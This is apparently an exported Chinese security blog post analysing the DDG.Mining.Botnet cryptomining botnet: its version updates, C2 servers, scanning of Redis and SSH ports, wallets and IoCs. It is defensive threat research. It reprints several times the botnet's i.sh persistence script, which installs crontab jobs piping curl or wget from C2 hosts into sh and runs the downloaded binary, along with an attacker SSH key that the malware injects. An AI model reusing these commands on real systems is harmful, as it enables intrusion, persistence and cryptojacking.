"],[0,[1],1,"更新文章"],[0,[],0,"中。"]]],[1,"p",[[0,[],0,"DDG 的作者会就此罢休么？不会的。僵尸永远不死，而且它们拒绝凋零。"]]],[1,"h4",[[0,[2],1,"DDG 更新一览"]]],[1,"p",[[0,[],0,"下图是我们监控到的 DDG版本更新情况、模块列表、以及版本和模块的对照关系。"]]],[10,0],[10,1],[10,2],[1,"p",[[0,[],0,"从图中我们可以看出："]]],[3,"ul",[[[0,[2],1,"版本更新"],[0,[],0,"：从2017年10月开始，DDG先后发布了 201x， 202x， 301x 三个大的系列版本，内部分为6个小的版本，以及若干小版本内部的补丁修正。"]],[[0,[2],1,"C2 IP地址"],[0,[],0,"：先后使用了四个IP。看起来我们的批露文章，加快了 DDG 更新 C2 的频率。"]],[[0,[2],1,"模块结构"],[0,[],0,"：大体可以分为投入、保活、挖矿三个大模块。"]],[[0,[2],1,"感染目标"],[0,[],0,"：长期持续针对SSH 服务器暴力破解以及Redis服务器未授权访问（2017-10 ～ 至今）。在版本 201x 和 202x 部分，也曾经将 Struts2 和 OrientDB 数据库服务器作为感染目标。"]],[[0,[2],1,"钱包地址"],[0,[],0,"：先后使用了三个钱包地址。挖矿程序的文件命名，通常取钱包地址的最后5～6个字符串。"]],[[0,[2],1,"挖矿容错"],[0,[],0,"：作者在大版本切换过程中，总是同时发布两个版本的挖矿程序，提高客户端版本更新前后的容错性；在301x版本之后，DDG作者开始使用了多个矿池，避免单个矿池链接不畅。包括矿池hk02.supportxmr.com，pool.supportxmr.com，xmr-asia1.nanopool.org，xmr-us-west1.nanopool.org，以及矿池代理 47.52.57.128，165.225.157.157 ，"]]]],[1,"p",[[0,[],0,"另外："]]],[3,"ul",[[[0,[2],1,"收益"],[0,[],0,"：按照我们的不完全统计，DDG的这些钱包地址已经至少从Monero.crypto-pool.fr 中获得了至少 7,425 个门罗币。"]],[[0,[2],1,"HUB"],[0,[],0,"：DDG会使用黑掉的服务器作为肉鸡，作为挖矿程序下载服务器列表。这些HUB_IP 的列表，会在每个版本更新时一并更新。如果IP出现在该列表中，意味着机器曾经或正在被DDG感染。详细见文末 IoC 部分。"]]]],[10,3],[1,"h4",[[0,[2],1,"IoC"]]],[1,"p",[[0,[],0,"DDG C2 List"]]],[10,4],[1,"p",[[0,[],0,"IP_HUB list"]]],[3,"ul",[[[0,[3],1,"v2011"]],[[0,[4],1,"v2020~v2021"]],[[0,[5],1,"v3011"]],[[0,[6],1,"v3011 patched"]],[[0,[7],1,"v3012"]]]]],"ghostVersion":"3.0"} | 60961b2b3819e50007633d54 |
post | null | 2021-05-08T05:02:30.000Z | 63873b9a8b1c1e0007f52fcc | ddg-mining-botnet-jin-qi-huo-dong-fen-xi | 0 | 2021-05-08T05:03:03.000Z | public | published | null | 2018-06-13T05:02:00.000Z | DDG.Mining.Botnet 近期活动分析 | <p><strong>UPDATE(2018.6.13)</strong></p><p>6.12 日，我们监测到 DDG.Mining.Botnet 又发布了新版本，最新版本为 v3012 ，更新概要如下：</p><ul><li>更换主 C2 为 <strong>69.64.32.12:8000</strong> ；</li><li>修改用来持久驻留的 i.sh 脚本；</li><li>更新备用 C2 IP 列表；</li><li>云端配置文件的结构、编码方式没有变化，只是里面涉及 C2 的内容指向最新的 C2；</li><li>矿机程序、矿池 Proxy以及 XMR Wallet 均未变化，Wallet 地址： <strong>42d4D8pASAWghyTmUS8a9yZyErA4WB18TJ6Xd2rZt9HBio2aPmAAVpHcPM8yoDEYD9Fy7eRvPJhR7SKFyTaFbSYCNZ2t3ik</strong>在矿池 <code>supportxmr.com</code> 中 TotalPaid 为 <strong>177.5497873784 XMR</strong> ；在矿池 <code>nanopool.org</code> 中 TotalPaid 为 <strong>6.057345747571 XMR</strong> 。</li></ul><p>最新 C2 主页截图： </p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/06/C2_host.png" class="kg-image" alt loading="lazy"></figure><p>最新的核心样本如下：</p><pre><code>md5=e31c1d7a8025e7c3266a07e37c55a4ba uri=hxxp://69.64.32.12:8000/static/3012/ddgs.i686
md5=26b3aef91bacfa082deff9812acf7875 uri=hxxp://69.64.32.12:8000/static/3012/ddgs.x86_64
</code></pre><p>最新的 i.sh 脚本如下：</p><pre><code>export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/5 * * * * curl -fsSL hxxp://69.64.32.12:8000/i.sh | sh" > /var/spool/cron/root
echo "*/5 * * * * wget -q -O- hxxp://69.64.32.12:8000/i.sh | sh" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL hxxp://69.64.32.12:8000/i.sh | sh" > /var/spool/cron/crontabs/root
echo "*/5 * * * * wget -q -O- hxxp://69.64.32.12:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
ps auxf | grep -v grep | grep /tmp/ddgs.3012 || rm -rf /tmp/ddgs.3012
if [ ! -f "/tmp/ddgs.3012" ]; then
curl -fsSL hxxp://69.64.32.12:8000/static/3012/ddgs.$(uname -m) -o /tmp/ddgs.3012
fi
chmod +x /tmp/ddgs.3012 && /tmp/ddgs.3012
ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill
</code></pre><p>最新的备用 C2 IP 以及 AS 信息 List 如下：</p><p><strong><a href="__GHOST_URL__/file/iplist_v3012.txt">iplist_v3012.txt</a></strong></p><hr><p><strong>UPDATE(2018.6.1)</strong></p><p>5.21 日，我们发布了关于 DDG.Mining.Botnet 的近期活动分析报告。我们发现了 ddgs v3010 和 v3011 两个版本的相关样本，并在它们共同用到的挖矿样本中发现了与 ddg v20xx 版本不同的 XMR Wallet。但由于 ddgs v3011 版本的样本并不能正常执行挖矿操作，我们把 v3011 版本定性为测试版本或过渡版本。并且，新发现的 XMR Wallet 中的挖矿收益，应为 v3011 版本之前的版本挖矿所得。</p><p>5.31 日，我们监测到 DDG.Mining.Botnet 又有了新动态，发布了新的关键更新，概要如下：</p><ol><li>更新了矿机程序；</li><li>发布了 ddgs v3011 的 <strong>x86_64</strong> 版本的样本（之前只有 <strong>i686</strong> 版本）；</li><li>更新了备用 C2 IP 列表；</li><li>更新了核心 Shell 脚本文件 <strong>i.sh</strong> 。</li></ol><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/06/ddgs_samples.png" class="kg-image" alt loading="lazy"></figure><h3 id="-"><strong>新的矿机程序</strong></h3><p>最新的矿机程序 <strong>qW3xT</strong> 和 <strong>qW3xT.1</strong>，由 XMRig2.6.2 编译而来，均为 64Bit ELF 文件：</p><pre><code>c50d3e20b3519f096630e31277fefceb, hxxp://165.225.157.157:8000/static/qW3xT, 1252480 bytes, last modified 2018-05-24 15:51:10 +0000 UTC
532a35a8d0fe4944c24575c0336eff8a, hxxp://165.225.157.157:8000/static/qW3xT.1, 1256576 bytes, last modified 2018-05-29 13:56:16 +0000 UTC
</code></pre><p>矿机所连接的矿池以及使用的 XMR Wallet 均未变化，只是矿池 Proxy 由之前的 <code>47.90.204.154</code> 变成了 <code>47.52.57.128/165.225.157.157</code> 两个。</p><h3 id="ddgs-x86_64"><strong>ddgs.x86_64</strong></h3><pre><code>md5=55b1d7b0fa1c479c02660896e05db910 uri=hxxp://165.225.157.157:8000/static/3011/ddgs.x86_64
</code></pre><p>v3011 版本有了 ddgs.x86_64 ，就可以在 64bit 系统的失陷主机上顺利下载、执行矿机程序来挖矿了。<strong>自此， v3011 不再是测试版本或者过渡版本，而是一个可以顺利运行的版本</strong>。</p><h3 id="-c2-ip-"><strong>最新的备用 C2 IP 列表</strong></h3><p>5.21 日我们公布了一批 ddgs.i686 样本里内置的备用 C2 IP 列表，在最新的 ddgs.x86_64 样本里，我们发现备用 C2 IP 列表有变动，最新完整的的 C2 IP 列表如下（与之前的有部分重合）：</p><p><strong><a href="__GHOST_URL__/file/iplist_v3011_2.txt">iplist_v3011_2.txt</a></strong></p><h3 id="i-sh-"><strong>i.sh 的变动</strong></h3><p>因为 DDG.Mining.Botnet 最新版 v3011 现在集齐了 i686 和 x86_64 两个核心样本，所以现在的 <strong>i.sh</strong> 也做了相应改动，可以通过 <code>ddgs.$(uname -m)</code> 来适配 i686 和 x86_64 的失陷主机：</p><pre><code>export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/5 * * * * curl -fsSL hxxp://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/root
echo "*/5 * * * * wget -q -O- hxxp://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL hxxp://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/crontabs/root
echo "*/5 * * * * wget -q -O- hxxp://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
ps auxf | grep -v grep | grep /tmp/ddgs.3011 || rm -rf /tmp/ddgs.3011
if [ ! -f "/tmp/ddgs.3011" ]; then
curl -fsSL hxxp://165.225.157.157:8000/static/3011/ddgs.$(uname -m) -o /tmp/ddgs.3011
fi
chmod +x /tmp/ddgs.3011 && /tmp/ddgs.3011
ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill
</code></pre><hr><p><strong>原文(2018.5.21)</strong></p><p>今年 2 月 1 日，我们详细分析了一个瞄准数据库服务器的挖矿僵尸网络 <a href="__GHOST_URL__/ddg-a-mining-botnet-aiming-at-database-server/">DDG.Mining.Botnet</a> 。</p><p>近期，我们注意到该家族发布了新的版本 3011 ，在该更新版本部署的过程中，引发了端口 7379 及相关端口上的扫描流量异常。在该版本的样本中我们发现了新的钱包地址，其在 2 个矿池里累计收益已经超过 1,419 枚 XMR。最后值得注意的是，该版本可能还处于测试阶段，或者只是一个过渡版本。</p><p>DDG 3011 版本的概要特征如下：</p><ul><li>启用了新的 XMR 钱包地址<code>42d4D8pASAWghyTmUS8a9yZyErA4WB18TJ6Xd2rZt9HBio2aPmAAVpHcPM8yoDEYD9Fy7eRvPJhR7SKFyTaFbSYCNZ2t3ik</code> ；</li><li>挖矿程序变更为 <strong>2t3ik</strong> ，但命名规则没有变化，仍然是钱包地址的末尾 5 位；</li><li>启用多个矿池，这应该被理解成为一种失效保护机制；</li><li>样本的编写语言由旧的 Go1.9.2 换成了 Go1.10，并在代码结构、第三方库和自身功能方面进行较大改动；</li><li>启用了云端配置文件，可以由云端配置文件指定要扫描的服务端口、矿机程序下载链接、本地样本更新数据等等；</li><li>相同的持久驻留机制：将 <strong>i.sh</strong> 脚本写入到 Crontab 中定期更新、运行。</li></ul><h3 id="7379-"><strong>7379 及相关端口上的扫描流量异常</strong></h3><p>近期，我们的 <a href="https://scan.netlab.360.com/#/dashboard?tsbeg=1525622400000&tsend=1526054400000&dstport=7379&toplistname=similardstport&topn=10">ScanMon</a> 系统显示 Redis 服务相关端口的扫描流量骤增，如下：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/05/port_scan.png" class="kg-image" alt loading="lazy"></figure><p>上图中，与该扫描相关的关联端口共计 7 个，分别是 ：</p><ul><li>Redis 相关的三个：6379, 6380, 7379</li><li>SSH 相关的三个：22, 2222, 22222</li><li>HTTP 相关的一个：8000</li></ul><p>我们在本文后续的样本分析环节中可以发现，DDG 新版本 ddgs.3011 的扫描模式与上述 ScanMon 观察到的现象非常契合。这足以证明，DDG 最新版本的活动引起了本轮 7379 及相关端口上的扫描行为。</p><h3 id="--1"><strong>样本执行流程</strong></h3><p>我们捕获了这次事件相关的核心样本：</p><pre><code>hxxp://165.225.157.157:8000/static/3011/ddgs.i686 md5=999fc24f53034b4c73866a0699be15fa
</code></pre><p>该样本的执行流程如下： </p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/05/ddgs_3011_flowchart.png" class="kg-image" alt loading="lazy"></figure><p>新旧样本最明显的相似之处，是通过把 <strong>i.sh</strong> 脚本植入到 Linux 系统肉鸡的 Crontab 中来实现持久驻留。新 <strong>i.sh</strong> 脚本内容如下：</p><pre><code>export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/5 * * * * curl -fsSL hxxp://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/root
echo "*/5 * * * * wget -q -O- hxxp://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL hxxp://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/crontabs/root
echo "*/5 * * * * wget -q -O- hxxp://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
if [ ! -f "/tmp/ddgs.3011" ]; then
curl -fsSL hxxp://165.225.157.157:8000/static/3011/ddgs.i686 -o /tmp/ddgs.3011
fi
chmod +x /tmp/ddgs.3011 && /tmp/ddgs.3011
ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill
</code></pre><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/05/passwords.png" class="kg-image" alt loading="lazy"></figure><p>ddgs.i686 还会在失陷主机本地的 <code>/var/spool/cron/crontabs/root</code> 或者 <code>/var/spool/cron/crontabs</code> 处写入定时任务脚本，从云端下载最新的 <code>i.sh</code> 脚本定时执行（ <strong>%s</strong> 处为最新的 <code>i.sh</code> 下载链接），实现持久驻留：</p><pre><code>*/1 * * * * curl -L %s | sh
*/1 * * * * wget -q %s -O - | sh
</code></pre><p>然后，ddgs.i686 会尝试在当前肉鸡的 <code>~/.ssh/authorized_keys</code> 中注入以下 SSH Pub Key：</p><pre><code>ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfxLBb/eKbi0TVVULI8ILVtbv2iaGM+eZbZoCWcD3v/eF1B/VkHAC1YwIhfqkUYudwhxVfQzsOZYQmKyapWzgp3tBAxcl82Al++VQc36mf/XFnECHndJS1JZB429/w/Ao+KlASl/qzita61D2VsXyejIQIeYR7Ro+ztLSTXjx+70CvzgOae3oayunL/hGX8qORIkG5YR3R1Jefhxy1NhGxEd6GaR7fZA5QWGfM17IcSXi2Q876JL8U7Aq8cjQyN/kGT2jWiiQiOZzqbjVJVICiwk0KvtrTwppV6FLty/vdfhgyspR4WZMep41xxuBH5rBkEJO5lqbKJWatcaA8n9jR root@localhost
</code></pre><p>ddgs.i686 样本中内置了一个 <strong>ip:port</strong> 的 List，其中 2 个主要的 <code>165.225.157.157:8000</code> 和 <code>165.227.149.151:8000</code> ，其他算是备用，全部列表如下：</p><p><strong><a href="__GHOST_URL__/file/iplist_v3011_1.txt">iplist_v3011_1.txt</a></strong></p><p>样本 ddgs.i686 启动之后，会依次连接上述 <strong>ip:port</strong> 检查是否可以访问： </p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/05/ip_list_conn.png" class="kg-image" alt loading="lazy"></figure><p>对每个成功握手的 <strong>ip:port</strong> ，ddgs.i686 都会尝试向 <strong><code>hxxp://<C2:8000>/slave</code></strong> 发送 HTTP POST 请求： </p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/05/ip_list_http_post.png" class="kg-image" alt loading="lazy"></figure><p>如果 C2 正常工作，则会返回一串用 <strong><a href="https://msgpack.org/">msgPack</a></strong> 序列化编码后的配置文件数据： </p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/05/http_post_resp_mask.png" class="kg-image" alt loading="lazy"></figure><p>由于这串数据自定义了复杂的数据结构，没能成功完美解码，经过 <strong>msgPack</strong> 通用反序列化再大概还原后如下：</p><pre><code>{
'Data':
Config:
Interval:"360s";
Miner:[
{Exe: "/tmp/2t3ik.p", Md5: "b44bce2047f2254e5e7e8b0730caae2e", Url: "/static/2t3ik.p"},
{Exe: "/tmp/2t3ik.m", Md5: "54259015b8ead37ac66da056769520db", Url: "/static/2t3ik.m"}
];
Cmd:[
(AAredis:{
Id: 6016;
Version: 3011;
ShellUrl: "http://165.225.157.157:8000/i.sh";
Duration: "168h";
aIPDuration: "23h";
GenLan;
GenAAA;
Ports: (6379, 6380, 7379)
}),
(AAssh:{
Id: 2017;
Version: 3011;
ShellUrl: "http://165.225.157.157:8000/i.sh";
NThreadsd;
Duration: "168h";
aIPDuration:"26h"
GenLan;
GenAAA;Ports: (22, 2222, 22222)
}),
(Update:(
{
Id: 142;
Version: 3010;
Timeout: "26m";
Exe: "/tmp/ddgs.3011";
Md5: "999fc24f53034b4c73866a0699be15fa";
Url: "/static/3011/ddgs.i686";
Killer: 132;
},
{
Id: 197;
Version:3011;
Expr: ".+(cryptonight|stratum+tcp://|dwarfpool.com).+";
Timeout: "360s";
},
{
Id: 198;
Version: 3011;
Expr: "./xmr-stak|./.syslog|/bin/wipefs|./xmrig|/tmp/wnTKYg";
Timeout: "360s";
},
{
Id: 199;
Version: 3011;
Expr: "/tmp/2t3ik.+";
Timeout: "360s";
LKProc: 132;
},
{
Id: 177;
Version: 3011;
Expr: ".+";
Timeout: 360s'
}
)
],
'Signature': '\x02\x0b_v8\xe4\xa9\xe8\x0fV\xc1\x04\xbeK\x1e\x10\x1a\xc4\xb3C}\xb2\x96D\r\x97"\xc4\xffF\xd0s)\xbf\xc4H\xa4\xa5le\xd5J\x8b\x0f8?\r\xfb\x8b)\~~\x02\xfd\xf7\xa4\xe5"hp\x11\xdd\xae\xd4\r\\\xb4\xf7)\xf1\xc4\x87\x95\x8esM\xbcq\x01Y\xe8\xe5H\x93\xde\xcc\xbbq\xc3\xdebS\x03\x90K\t4\x9e=\x94\xd1w~V\xa3\xad$\x10\'\xa2y\xaa\xe6\x0ep\xd8\x00\xf2\xf7B\xc6\x18\xa4\x16_q/K\xf8\x05\n\x98:-\x9f\xf1z\xfe\xa3\xe4C\xa8\xeeg\x0f\x7f\xd7\x8d\x02\x98\\\x1aJ\xab\xcc\xf9\xbd\x94\x83\xfd\xc3q\xad\xb5\x8d\xcb\x06\xfeQ\x1d=\x05L@\xc3\xf6\n>\xb2\xedY\x16.\x14\x7fc\xf9\xafT\xa3\xfbzq/y\xba4\xd8k\x82rh\x17\xd8\xd5\'EU~\x1ag\x0f\xb2\xa0\xa3C\xff\xcbSj\xccI\xe4\x98\x99\xc3\xe8\xfe\xe7\xfd\xf5\x07\xce\x8d\x97d\x1e\xae\ta\xf3\x8e\x05\xf7\xb7\x95\xe7\x82|\x8eS\x0b\x11\xcb\xa3'
}
</code></pre><p>结合配置文件和样本分析，可以发现以下几个关键点：</p><ol><li>配置文件中提供了 Miner 程序的 URI、MD5 和保存到当前肉鸡的文件路径。ddgs.i686 会根据 URI，通过 HTTP GET 请求从 <code>http://<C2:8000>/Miner_URI</code> 处下载 Miner 程序并另存到指定路径；</li><li>配置文件中提供了最新的 <strong>i.sh</strong> 文件下载路径，ddgs.i686 会把这个路径填充到定时任务的命令字串中；</li><li>配置文件中指定了要扫描的 dstport，可以看到针对 Redis 服务，指定 ddgs.i686 扫描 (6379, 6380, 7379) 三个端口，针对 SSH 服务，指定扫描 (22, 2222, 22222) 三个端口。（这里可以解释 ScanMon 上 7 个端口之间的伴生关系。但 Redis 服务相关的 3 个端口与 SSH 服务相关的 3 个端口之间 <strong>Shared scip</strong> 数量比较少，原因可能跟蜜罐部署以及蜜罐的网络配置有关）</li><li>配置文件中的 <strong>GenLan</strong> / <strong>GenAAA</strong> 对应生成 Scan Target IP 的生成策略。样本中的 Scan Target IP 生成策略仍然同于旧版本的 ddg.miner：生成的内网网段 Target IP 范围如下：10.Y.x.x/16 (Y 为当前内网 IP B 段的值)172.16.x.x/16192.168.x.x/16当前主机的公网 IP 地址 <strong>WAN_IP</strong> ，然后在 <code>WAN_IP/8</code> 范围内生成公网网段 Target IP 。但是样本内有个扫描控制策略，从行为上看，针对内网 Target IP ，只扫描 SSH 服务相关的 3 个端口，我的虚拟机上运行结果只会扫 SSH 服务，看起来只有获取到了网卡的外网地址，才会针对外网的 Target IP 扫描 Redis 相关的端口。</li><li>配置文件中给出了 ddgs 样本的更新配置：最新的版本号、本地另存的文件路径、C2 端下载的 URI 以及样本的 MD5，本地已有的 ddgs.i686 样本会根据这些信息对本地样本进行更新。</li></ol><h3 id="--2"><strong>挖矿</strong></h3><p>样本获取配置文件后，会根据配置文件中 Miner 的信息，去下载 <strong>2t3ik.p</strong> 和 <strong>2t3ik.m</strong> 到当前失陷主机的 <strong>/tmp/</strong> 目录。这两个文件是 XMRig 2.5.2 编译的矿机程序，具体区别不明，关键信息都一致：</p><ul><li>钱包地址（新出现）：42d4D8pASAWghyTmUS8a9yZyErA4WB18TJ6Xd2rZt9HBio2aPmAAVpHcPM8yoDEYD9Fy7eRvPJhR7SKFyTaFbSYCNZ2t3ik</li><li>涉及的矿池：47.90.204.154hk02.supportxmr.compool.supportxmr.comxmr-asia1.nanopool.orgxmr-us-west1.nanopool.org其中 <code>47.90.204.154:443</code> 是矿池 Proxy，该主机位于 <strong>阿里云</strong> ;在矿池 <code>supportxmr.com</code> 中的 TotalPaid 为 <strong>150.5194868540 XMR</strong> ，按当前市价折合人民币 <strong>181,311.3 ￥</strong> ；在矿池 <code>nanopool.org</code> 中TotalPaid: <strong>1268.5880545439 XMR</strong> ，按当前市价折合人民币 <strong>1527,519.6￥</strong>。</li></ul><h3 id="3011-"><strong>3011 是一个测试或过渡版本</strong></h3><p>最后值得一提的是，ddgs.i686 是 32bit ELF 文件，而它下载到的 <strong>2t3ik.p</strong> 和 <strong>2t3ik.m</strong> 都是 64bit ELF 文件，这样一来，在真实环境中，矿机程序并没有办法运行。而且，版本 <strong>3011</strong> 只有<code>hxxp://165.225.157.157:8000/static/3011/ddgs.i686</code> 这一个核心样本，不像版本 <strong>3010</strong> ，同时存在 ddgs.<strong>i686</strong> 和 ddgs.<strong>x86_64</strong> 两个核心样本。所以，可以认为版本 <strong>3011</strong> 目前处于测试阶段，或者只是一个过渡版本。</p><h2 id="ioc"><strong>IoC</strong></h2><p>Sample</p><pre><code>md5=9ebf7fc39efe7c553989d54965ebb468 uri=hxxp://165.225.157.157:8000/static/imWBR1
md5=d3b1700a413924743caab1460129396b uri=hxxp://165.225.157.157:8000/static/wnTKYg
md5=8eaf1f18c006e6ecacfb1adb0ef7faee uri=hxxp://165.225.157.157:8000/static/wnTKYg.noaes
md5=754487fd92e282c98acf6528604049aa uri=hxxp://165.225.157.157:8000/static/imWBR1.ig
md5=52f06ca981a6e6cbc89b095ea6db1bf9 uri=hxxp://165.225.157.157:8000/static/2t3ik.s
md5=b44bce2047f2254e5e7e8b0730caae2e uri=hxxp://165.225.157.157:8000/static/2t3ik.p
md5=54259015b8ead37ac66da056769520db uri=hxxp://165.225.157.157:8000/static/2t3ik.m
md5=76e8d7bf408b3b6ebd13d6b292519742 uri=hxxp://165.225.157.157:8000/static/2t3ik
md5=999fc24f53034b4c73866a0699be15fa uri=hxxp://165.225.157.157:8000/static/3011/ddgs.i686
md5=8ab02497219bda76c959f86386a2c363 uri=hxxp://165.225.157.157:8000/static/3010/ddgs.i686
md5=45774309c72839d6d4303024059e7070 uri=hxxp://165.225.157.157:8000/static/3010/ddgs.x86_64
md5=884a57a0e4f9d222117aeca111095d7a uri=hxxp://165.225.157.157:8000/i.sh </code></pre> | UPDATE(2018.6.13)
6.12 日，我们监测到 DDG.Mining.Botnet 又发布了新版本，最新版本为 v3012 ，更新概要如下：
* 更换主 C2 为 69.64.32.12:8000 ；
* 修改用来持久驻留的 i.sh 脚本；
* 更新备用 C2 IP 列表；
* 云端配置文件的结构、编码方式没有变化，只是里面涉及 C2 的内容指向最新的 C2；
* 矿机程序、矿池 Proxy以及 XMR Wallet 均未变化，Wallet 地址： 42d4D8pASAWghyTmUS8a9yZyErA4WB18TJ6Xd2rZt9HBio2aPmAAVpHcPM8yoDEYD9Fy7eRvPJhR7SKFyTaFbSYCNZ2t3ik在矿池 supportxmr.com 中 TotalPaid 为 177.5497873784 XMR ；在矿池 nanopool.org 中 TotalPaid 为 6.057345747571 XMR 。
最新 C2 主页截图：
最新的核心样本如下：
md5=e31c1d7a8025e7c3266a07e37c55a4ba uri=hxxp://69.64.32.12:8000/static/3012/ddgs.i686
md5=26b3aef91bacfa082deff9812acf7875 uri=hxxp://69.64.32.12:8000/static/3012/ddgs.x86_64
最新的 i.sh 脚本如下：
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/5 * * * * curl -fsSL hxxp://69.64.32.12:8000/i.sh | sh" > /var/spool/cron/root
echo "*/5 * * * * wget -q -O- hxxp://69.64.32.12:8000/i.sh | sh" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL hxxp://69.64.32.12:8000/i.sh | sh" > /var/spool/cron/crontabs/root
echo "*/5 * * * * wget -q -O- hxxp://69.64.32.12:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
ps auxf | grep -v grep | grep /tmp/ddgs.3012 || rm -rf /tmp/ddgs.3012
if [ ! -f "/tmp/ddgs.3012" ]; then
curl -fsSL hxxp://69.64.32.12:8000/static/3012/ddgs.$(uname -m) -o /tmp/ddgs.3012
fi
chmod +x /tmp/ddgs.3012 && /tmp/ddgs.3012
ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill
最新的备用 C2 IP 以及 AS 信息 List 如下：
iplist_v3012.txt
UPDATE(2018.6.1)
5.21 日，我们发布了关于 DDG.Mining.Botnet 的近期活动分析报告。我们发现了 ddgs v3010 和 v3011 两个版本的相关样本，并在它们共同用到的挖矿样本中发现了与 ddg v20xx 版本不同的 XMR Wallet。但由于 ddgs v3011 版本的样本并不能正常执行挖矿操作，我们把 v3011 版本定性为测试版本或过渡版本。并且，新发现的 XMR Wallet 中的挖矿收益，应为 v3011 版本之前的版本挖矿所得。
5.31 日，我们监测到 DDG.Mining.Botnet 又有了新动态，发布了新的关键更新，概要如下：
1. 更新了矿机程序；
2. 发布了 ddgs v3011 的 x86_64 版本的样本（之前只有 i686 版本）；
3. 更新了备用 C2 IP 列表；
4. 更新了核心 Shell 脚本文件 i.sh 。
新的矿机程序
最新的矿机程序 qW3xT 和 qW3xT.1，由 XMRig2.6.2 编译而来，均为 64Bit ELF 文件：
c50d3e20b3519f096630e31277fefceb, hxxp://165.225.157.157:8000/static/qW3xT, 1252480 bytes, last modified 2018-05-24 15:51:10 +0000 UTC
532a35a8d0fe4944c24575c0336eff8a, hxxp://165.225.157.157:8000/static/qW3xT.1, 1256576 bytes, last modified 2018-05-29 13:56:16 +0000 UTC
矿机所连接的矿池以及使用的 XMR Wallet 均未变化，只是矿池 Proxy 由之前的 47.90.204.154 变成了 47.52.57.128/165.225.157.157 两个。
ddgs.x86_64
md5=55b1d7b0fa1c479c02660896e05db910 uri=hxxp://165.225.157.157:8000/static/3011/ddgs.x86_64
v3011 版本有了 ddgs.x86_64 ，就可以在 64bit 系统的失陷主机上顺利下载、执行矿机程序来挖矿了。自此， v3011 不再是测试版本或者过渡版本，而是一个可以顺利运行的版本。
最新的备用 C2 IP 列表
5.21 日我们公布了一批 ddgs.i686 样本里内置的备用 C2 IP 列表，在最新的 ddgs.x86_64 样本里，我们发现备用 C2 IP 列表有变动，最新完整的的 C2 IP 列表如下（与之前的有部分重合）：
iplist_v3011_2.txt
i.sh 的变动
因为 DDG.Mining.Botnet 最新版 v3011 现在集齐了 i686 和 x86_64 两个核心样本，所以现在的 i.sh 也做了相应改动，可以通过 ddgs.$(uname -m) 来适配 i686 和 x86_64 的失陷主机：
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
